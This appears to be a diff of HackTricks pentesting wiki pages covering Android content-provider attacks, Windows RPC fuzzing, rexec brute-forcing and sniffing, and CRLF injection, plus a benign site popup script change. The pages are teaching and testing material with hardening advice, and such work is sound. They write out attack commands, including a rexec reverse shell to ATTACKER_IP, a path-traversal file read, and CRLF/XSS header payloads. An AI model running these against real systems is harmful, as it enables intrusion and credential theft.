* Use the newer **UtilityProcess** API if your application legitimately needs a helper Node.js process instead of re-enabling those fuses.
|
||||
|
||||
## Automatic Injection
|
||||
|
||||
- [**electroniz3r**](https://github.com/r3ggi/electroniz3r)
|
||||
@ -483,9 +502,10 @@ Loki was designed to backdoor Electron applications by replacing the application
|
||||
|
||||
- [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks)
|
||||
- [https://github.com/electron/electron/security/advisories/GHSA-7m48-wc93-9g85](https://github.com/electron/electron/security/advisories/GHSA-7m48-wc93-9g85)
|
||||
- [https://www.electronjs.org/blog/statement-run-as-node-cves](https://www.electronjs.org/blog/statement-run-as-node-cves)
|
||||
- [https://m.youtube.com/watch?v=VWQY5R2A6X8](https://m.youtube.com/watch?v=VWQY5R2A6X8)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -191,13 +191,72 @@ Vulnerable Providers:
|
||||
content://com.mwr.example.sieve.FileBackupProvider
|
||||
```
|
||||
|
||||
## 2023-2025 Updates & Modern Tips
|
||||
|
||||
### Drozer 3.x (Python 3) is out
|
||||
|
||||
WithSecure resumed maintenance of drozer in 2022 and ported the framework to **Python 3** (latest **3.1.0 – April 2024**).
|
||||
Besides compatibility fixes, new modules that are particularly useful when working with Content Providers include:
|
||||
|
||||
* `scanner.provider.exported` – list only providers with `android:exported="true"`.
|
||||
* `app.provider.grant` – automatically call `grantUriPermission()` so you can talk to providers that expect `FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION` on Android 12+.
|
||||
* Better handling of **Scoped Storage** so file-based providers on Android 11+ can still be reached.
|
||||
|
||||
Upgrade (host & agent):
|
||||
|
||||
```bash
|
||||
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
|
||||
adb install drozer-agent-3.1.0.apk
|
||||
```
|
||||
|
||||
### Using the built-in `cmd content` helper (ADB ≥ 8.0)
|
||||
|
||||
All modern Android devices ship with a CLI that can query/update providers **without installing any agent**:
|
||||
|
||||
```bash
|
||||
adb shell cmd content query --uri content://com.test.provider/items/
|
||||
adb shell cmd content update --uri content://com.test.provider/items/1 \
|
||||
--bind price:d:1337
|
||||
adb shell cmd content call --uri content://com.test.provider \
|
||||
--method evilMethod --arg 'foo'
|
||||
```
|
||||
|
||||
Combine it with `run-as <pkg>` or a rooted shell to test internal-only providers.
|
||||
|
||||
### Recent real-world CVEs that abused Content Providers
|
||||
|
||||
| CVE | Year | Component | Bug class | Impact |
|
||||
|-----|------|-----------|-----------|--------|
|
||||
| CVE-2024-43089 | 2024 | MediaProvider | Path traversal in `openFile()` | Arbitrary file read from any app’s private storage |
|
||||
| CVE-2023-35670 | 2023 | MediaProvider | Path traversal | Information disclosure |
|
||||
|
||||
Re-create CVE-2024-43089 on a vulnerable build:
|
||||
|
||||
```bash
|
||||
adb shell cmd content read \
|
||||
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
|
||||
```
|
||||
|
||||
### Hardening checklist for API 30+
|
||||
|
||||
* Declare `android:exported="false"` unless the provider **must** be public – from API 31 the attribute is mandatory.
|
||||
* Enforce **permissions** and/or `android:grantUriPermissions="true"` instead of exporting the whole provider.
|
||||
* Whitelist allowed `projection`, `selection` and `sortOrder` arguments (e.g. build queries with `SQLiteQueryBuilder.setProjectionMap`).
|
||||
* In `openFile()` canonicalise the requested path (`FileUtils`) and reject `..` sequences to prevent traversal.
|
||||
* When exposing files prefer **Storage Access Framework** or a `FileProvider`.
|
||||
|
||||
These changes in recent Android versions mean many legacy exploitation primitives still work, but require additional flags/permissions that the updated drozer modules or `cmd content` helper can apply automatically.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
|
||||
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
|
||||
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
|
||||
- [https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0)
|
||||
- [https://source.android.com/security/bulletin/2024-07-01](https://source.android.com/security/bulletin/2024-07-01)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
@ -150,8 +150,85 @@ Cypher queries can then be used to quickly spot dangerous procedures or to repla
|
||||
|
||||
⚠️ The fuzzer is *destructive*: expect service crashes and even BSODs – always run it in an isolated VM snapshot.
|
||||
|
||||
|
||||
### Automated Interface Enumeration & Dynamic Client Generation (NtObjectManager)
|
||||
|
||||
PowerShell guru **James Forshaw** exposed most of the Windows RPC internals inside the open–source *NtObjectManager* module. Using it you can turn any RPC server DLL / EXE into a **fully-featured client stub** in seconds – no IDL, MIDL or manual unmarshalling required.
|
||||
|
||||
```powershell
|
||||
# Install the module once
|
||||
Install-Module NtObjectManager -Force
|
||||
|
||||
# Parse every RPC interface exported by the target binary
|
||||
$rpcinterfaces = Get-RpcServer "C:\Windows\System32\efssvc.dll"
|
||||
$rpcinterfaces | Format-Table Name,Uuid,Version,Procedures
|
||||
|
||||
# Inspect a single procedure (opnum 0)
|
||||
$rpcinterfaces[0].Procedures[0] | Format-List *
|
||||
```
|
||||
|
||||
Typical output exposes parameter types exactly as they appear in **MIDL** (e.g. `FC_C_WSTRING`, `FC_LONG`, `FC_BIND_CONTEXT`).
|
||||
|
||||
Once you know the interface you can **generate a ready-to-compile C# client**:
|
||||
|
||||
```powershell
|
||||
# Reverse the MS-EFSR (EfsRpc*) interface into C#
|
||||
Format-RpcClient $rpcinterfaces[0] -Namespace MS_EFSR -OutputPath .\MS_EFSR.cs
|
||||
```
|
||||
|
||||
Inside the produced stub you will find methods such as:
|
||||
|
||||
```csharp
|
||||
public int EfsRpcOpenFileRaw(out Marshal.NdrContextHandle ctx, string FileName, int Flags) {
|
||||
// marshals parameters & calls opnum 0
|
||||
}
|
||||
```
|
||||
|
||||
The PowerShell helper `Get-RpcClient` can create an **interactive client object** so you can call the procedure immediately:
|
||||
|
||||
```powershell
|
||||
$client = Get-RpcClient $rpcinterfaces[0]
|
||||
Connect-RpcClient $client -stringbinding 'ncacn_np:127.0.0.1[\\pipe\\efsrpc]' `
|
||||
-AuthenticationLevel PacketPrivacy `
|
||||
-AuthenticationType WinNT # NTLM auth
|
||||
|
||||
# Invoke the procedure → returns an authenticated context handle
|
||||
$ctx = New-Object Marshal.NdrContextHandle
|
||||
$client.EfsRpcOpenFileRaw([ref]$ctx, "\\\127.0.0.1\test", 0)
|
||||
```
|
||||
|
||||
Authentication (Kerberos / NTLM) and encryption levels (`PacketIntegrity`, `PacketPrivacy`, …) can be supplied directly via the `Connect-RpcClient` cmdlet – ideal for **bypassing Security Descriptors** that protect high-privilege named pipes.
|
||||
|
||||
### Context-Aware RPC Fuzzing (MS-RPC-Fuzzer)
|
||||
|
||||
Static interface knowledge is great, but what you really want is **coverage-guided fuzzing** that understands *context handles* and complex parameter chains. The open-source **MS-RPC-Fuzzer** project automates exactly that workflow:
|
||||
|
||||
1. Enumerate every interface/procedure exported by the target binary (`Get-RpcServer`).
|
||||
2. Generate dynamic clients for each interface (`Format-RpcClient`).
|
||||
3. Randomise input parameters (wide strings length, integer ranges, enums) while respecting the original **NDR type**.
|
||||
4. Track *context handles* returned by one call to feed follow-up procedures automatically.
|
||||
5. Fire high-volume calls against the chosen transport (ALPC, TCP, HTTP or named pipe).
|
||||
6. Log exit statuses / faults / timeouts and export a **Neo4j** import file to visualise *interface → procedure → parameter* relationships and crash clusters.
|
||||
|
||||
Example run (named–pipe target):
|
||||
|
||||
```powershell
|
||||
Invoke-MSRPCFuzzer -Pipe "\\.\pipe\efsrpc" -Auth NTLM `
|
||||
-MinLen 1 -MaxLen 0x400 `
|
||||
-Iterations 100000 `
|
||||
-OutDir .\results
|
||||
```
|
||||
|
||||
A single out-of-bounds write or unexpected exception will be surfaced immediately with the exact opnum + fuzzed payload that triggered it – perfect starting point for a stable proof-of-concept exploit.
|
||||
|
||||
> ⚠️ Many RPC services execute in processes running as **NT AUTHORITY\SYSTEM**. Any memory-safety issue here usually translates to local privilege escalation or (when exposed over SMB/135) *remote code execution*.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Automating MS-RPC vulnerability research (2025, Incendium.rocks)](https://www.incendium.rocks/posts/Automating-MS-RPC-Vulnerability-Research/)
|
||||
- [MS-RPC-Fuzzer – context-aware RPC fuzzer](https://github.com/warpnet/MS-RPC-Fuzzer)
|
||||
- [NtObjectManager PowerShell module](https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/tree/master/NtObjectManager)
|
||||
- [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)
|
||||
- [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||
- [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
|
||||
|
@ -2,22 +2,115 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Basic Information
|
||||
|
||||
It is a service that **allows you to execute a command inside a host** if you know valid **credentials** (username and password).
|
||||
Rexec (remote **exec**) is one of the original Berkeley *r*-services suite (together with `rlogin`, `rsh`, …). It provides a **remote command-execution** capability **authenticated only with a clear-text username and password**. The protocol was defined in the early 1980’s (see RFC 1060) and is nowadays considered **insecure by design**. Nevertheless it is still enabled by default in some legacy UNIX / network-attached equipment and occasionally shows up during internal pentests.
|
||||
|
||||
**Default Port:** 512
|
||||
**Default Port:** TCP 512 (`exec`)
|
||||
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
512/tcp open exec
|
||||
```
|
||||
|
||||
> 🔥 All traffic – including credentials – is transmitted **unencrypted**. Anyone with the ability to sniff the network can recover the username, password and command.
|
||||
|
||||
### Protocol quick-look
|
||||
|
||||
1. Client connects to TCP 512.
|
||||
2. Client sends three **NUL-terminated** strings:
|
||||
* the port number (as ASCII) where it wishes to receive stdout/stderr (often `0`),
|
||||
* the **username**,
|
||||
* the **password**.
|
||||
3. A final NUL-terminated string with the **command** to execute is sent.
|
||||
4. The server replies with a single 8-bit status byte (0 = success, `1` = failure) followed by the command output.
|
||||
|
||||
That means you can reproduce the exchange with nothing more than `echo -e` and `nc`:
|
||||
|
||||
```bash
|
||||
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
|
||||
```
|
||||
|
||||
If the credentials are valid you will receive the output of `id` straight back on the same connection.
|
||||
|
||||
### Manual usage with the client
|
||||
|
||||
Many Linux distributions still ship the legacy client inside the **inetutils-rexec** / **rsh-client** package:
|
||||
|
||||
```bash
|
||||
rexec -l user -p password <target> "uname -a"
|
||||
```
|
||||
|
||||
If `-p` is omitted the client will prompt interactively for the password (visible on the wire in clear-text!).
|
||||
|
||||
---
|
||||
## Enumeration & Brute-forcing
|
||||
|
||||
### [**Brute-force**](../generic-hacking/brute-force.md#rexec)
|
||||
|
||||
### Nmap
|
||||
|
||||
```bash
|
||||
nmap -p 512 --script rexec-info <target>
|
||||
# Discover service banner and test for stdout port mis-configuration
|
||||
|
||||
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
|
||||
```
|
||||
The `rexec-brute` NSE uses the protocol described above to try credentials very quickly .
|
||||
|
||||
### Hydra / Medusa / Ncrack
|
||||
|
||||
```bash
|
||||
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
|
||||
```
|
||||
`hydra` has a dedicated **rexec** module and remains the fastest offline bruteforcer . `medusa` (`-M REXEC`) and `ncrack` (`rexec` module) can be used in the same way.
|
||||
|
||||
### Metasploit
|
||||
|
||||
```
|
||||
use auxiliary/scanner/rservices/rexec_login
|
||||
set RHOSTS <target>
|
||||
set USER_FILE users.txt
|
||||
set PASS_FILE passwords.txt
|
||||
run
|
||||
```
|
||||
The module will spawn a shell on success and store the credentials in the database .
|
||||
|
||||
---
|
||||
## Sniffing credentials
|
||||
|
||||
Because everything is clear-text, **network captures are priceless**. With a copy of the traffic you can extract creds without touching the target:
|
||||
|
||||
```bash
|
||||
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
|
||||
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
|
||||
```
|
||||
|
||||
(In Wireshark enable *Decode As …* TCP 512 → REXEC to view nicely-parsed fields.)
|
||||
|
||||
---
|
||||
## Post-Exploitation tips
|
||||
|
||||
* Commands run with the privileges of the supplied user. If `/etc/pam.d/rexec` is mis-configured (e.g. `pam_rootok`), root shells are sometimes possible.
|
||||
* Rexec ignores the user’s shell and executes the command via `/bin/sh -c <cmd>`. You can therefore use typical shell-escape tricks (`;`, ``$( )``, backticks) to chain multiple commands or spawn reverse shells:
|
||||
```bash
|
||||
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
|
||||
```
|
||||
* Passwords are often stored in **~/.netrc** on other systems; if you compromise one host you may reuse them for lateral movement.
|
||||
|
||||
---
|
||||
## Hardening / Detection
|
||||
|
||||
* **Do not expose rexec**; replace it with SSH. Virtually all modern *inetd* superservers comment the service out by default.
|
||||
* If you must keep it, restrict access with TCP wrappers (`/etc/hosts.allow`) or firewall rules and enforce strong per-account passwords.
|
||||
* Monitor for traffic to :512 and for `rexecd` process launches. A single packet capture is enough to detect a compromise.
|
||||
* Disable `rexec`, `rlogin`, `rsh` together – they share most of the same codebase and weaknesses.
|
||||
|
||||
---
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* Nmap NSE `rexec-brute` documentation – [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html)
|
||||
* Rapid7 Metasploit module `auxiliary/scanner/rservices/rexec_login` – [https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -201,20 +201,61 @@ To mitigate the risks of CRLF (Carriage Return and Line Feed) or HTTP Header Inj
|
||||
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
|
||||
```
|
||||
|
||||
### Recent Vulnerabilities (2023 – 2025)
|
||||
|
||||
The last few years have produced several high-impact CRLF/HTTP header-injection bugs in widely-used server- and client-side components. Reproducing and studying them locally is an excellent way of understanding real-world exploitation patterns.
|
||||
|
||||
| Year | Component | CVE / Advisory | Root cause | PoC highlight |
|
||||
|------|-----------|---------------|------------|---------------|
|
||||
| 2024 | RestSharp (≥110.0.0 <110.2.0) | **CVE-2024-45302** | The `AddHeader()` helper did not sanitize CR/LF, allowing construction of multiple request headers when RestSharp is used as an HTTP client inside back-end services. Down-stream systems could be coerced into SSRF or request smuggling. | `client.AddHeader("X-Foo","bar%0d%0aHost:evil")` |
|
||||
| 2024 | Refit (≤ 7.2.101) | **CVE-2024-51501** | Header attributes on interface methods were copied verbatim into the request. By embedding `%0d%0a`, attackers could add arbitrary headers or even a second request when Refit was used by server-side worker jobs. | `[Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")]` |
|
||||
| 2023 | Apache APISIX Dashboard | **GHSA-4h3j-f5x9-r6x3** | User-supplied `redirect` parameter was echoed into a `Location:` header without encoding, enabling open redirect + cache poisoning. | `/login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script>` |
|
||||
|
||||
These bugs are important because they are triggered **inside application-level code** and not only at the web-server edge. Any internal component that performs HTTP requests or sets response headers must therefore enforce CR/LF filtering.
|
||||
|
||||
### Advanced Unicode / Control-Character Bypasses
|
||||
|
||||
Modern WAF/rewriter stacks often strip literal `\r`/`\n` but forget about other characters that many back-ends treat as line terminators. When CRLF is filtered, try:
|
||||
|
||||
* `%E2%80%A8` (`U+2028` – LINE SEPARATOR)
|
||||
* `%E2%80%A9` (`U+2029` – PARAGRAPH SEPARATOR)
|
||||
* `%C2%85` (`U+0085` – NEXT LINE)
|
||||
|
||||
Some Java, Python and Go frameworks convert these to `\n` during header parsing (see the 2023 Praetorian research). Combine them with classic payloads:
|
||||
|
||||
```
|
||||
/%0A%E2%80%A8Set-Cookie:%20admin=true
|
||||
```
|
||||
|
||||
If the filter normalises UTF-8 first, the control character is turned into a regular line-feed and the injected header is accepted.
|
||||
|
||||
### WAF Evasion via Duplicate `Content-Encoding` Trick (2023)
|
||||
|
||||
Praetorian researchers also showed that by injecting:
|
||||
|
||||
```
|
||||
%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a
|
||||
```
|
||||
|
||||
into a reflected header, browsers will ignore the body supplied by the server and render attacker-supplied HTML that follows, giving stored XSS even when the application’s own content is inert. Because `Content-Encoding: identity` is allowed by RFC 9110, many reverse-proxies forward it unchanged.
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
- [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
|
||||
- [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
|
||||
* [CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) – fast active scanner written in Go.
|
||||
* [crlfuzz](https://github.com/dwisiswant0/crlfuzz) – wordlist-based fuzzer that supports Unicode newline payloads.
|
||||
* [crlfix](https://github.com/glebarez/crlfix) – 2024 utility that patches HTTP requests generated by Go programs and can be used standalone to test internal services.
|
||||
|
||||
## Brute-Force Detection List
|
||||
|
||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
|
||||
- [carlospolop/Auto_Wordlists – crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
|
||||
|
||||
## References
|
||||
|
||||
- [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
|
||||
- [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
- [https://www.invicti.com/blog/web-security/crlf-http-header/](https://www.invicti.com/blog/web-security/crlf-http-header/)
|
||||
- [https://www.acunetix.com/websitesecurity/crlf-injection/](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
- [https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
- [https://www.netsparker.com/blog/web-security/crlf-http-header/](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
- [https://nvd.nist.gov/vuln/detail/CVE-2024-45302](https://nvd.nist.gov/vuln/detail/CVE-2024-45302)
|
||||
- [https://security.praetorian.com/blog/2023-unicode-newlines-bypass/](https://security.praetorian.com/blog/2023-unicode-newlines-bypass/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
46
theme/ai.js
46
theme/ai.js
@ -4,9 +4,10 @@
|
||||
|
||||
|
||||
(() => {
|
||||
const KEY = 'htSummerDiscountDismissed';
|
||||
const IMG = '/images/discount.jpeg';
|
||||
const TXT = 'HT Summer Discount, Last Days!';
|
||||
const KEY = 'htSummerDiscountsDismissed';
|
||||
const IMG = '/images/discount.jpeg';
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
/* Stop if user already dismissed */
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
@ -32,13 +33,37 @@
|
||||
display: flex; flex-direction: column; align-items: stretch;
|
||||
`);
|
||||
|
||||
/* --- Title bar (separate, over image) --- */
|
||||
/* --- Title bar (link + close) --- */
|
||||
const titleBar = $('div', `
|
||||
padding: 1rem; text-align: center;
|
||||
position: relative;
|
||||
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
|
||||
text-align: center;
|
||||
background: #222; color: #fff;
|
||||
font-size: 1.3rem; font-weight: 700;
|
||||
`);
|
||||
titleBar.textContent = TXT;
|
||||
|
||||
const link = $('a', `
|
||||
color: inherit;
|
||||
text-decoration: none;
|
||||
display: block;
|
||||
`);
|
||||
link.href = URL;
|
||||
link.target = '_blank';
|
||||
link.rel = 'noopener noreferrer';
|
||||
link.textContent = TXT;
|
||||
titleBar.appendChild(link);
|
||||
|
||||
/* Close "X" (no persistence) */
|
||||
const closeBtn = $('button', `
|
||||
position: absolute; top: .25rem; right: .5rem;
|
||||
background: transparent; border: none;
|
||||
color: #fff; font-size: 1.4rem; line-height: 1;
|
||||
cursor: pointer; padding: 0; margin: 0;
|
||||
`);
|
||||
closeBtn.setAttribute('aria-label', 'Close');
|
||||
closeBtn.textContent = '✕';
|
||||
closeBtn.onclick = () => overlay.remove();
|
||||
titleBar.appendChild(closeBtn);
|
||||
|
||||
/* --- Image --- */
|
||||
const img = $('img');
|
||||
@ -62,14 +87,15 @@
|
||||
modal.append(titleBar, img, label);
|
||||
overlay.appendChild(modal);
|
||||
|
||||
(document.readyState === 'loading'
|
||||
? () => document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true })
|
||||
: () => document.body.appendChild(overlay))();
|
||||
if (document.readyState === 'loading') {
|
||||
document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true });
|
||||
} else {
|
||||
document.body.appendChild(overlay);
|
||||
}
|
||||
})();
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* HackTricks AI Chat Widget v1.16 – resizable sidebar
|
||||
* ---------------------------------------------------
|
||||
|
Loading…
x
Reference in New Issue
Block a user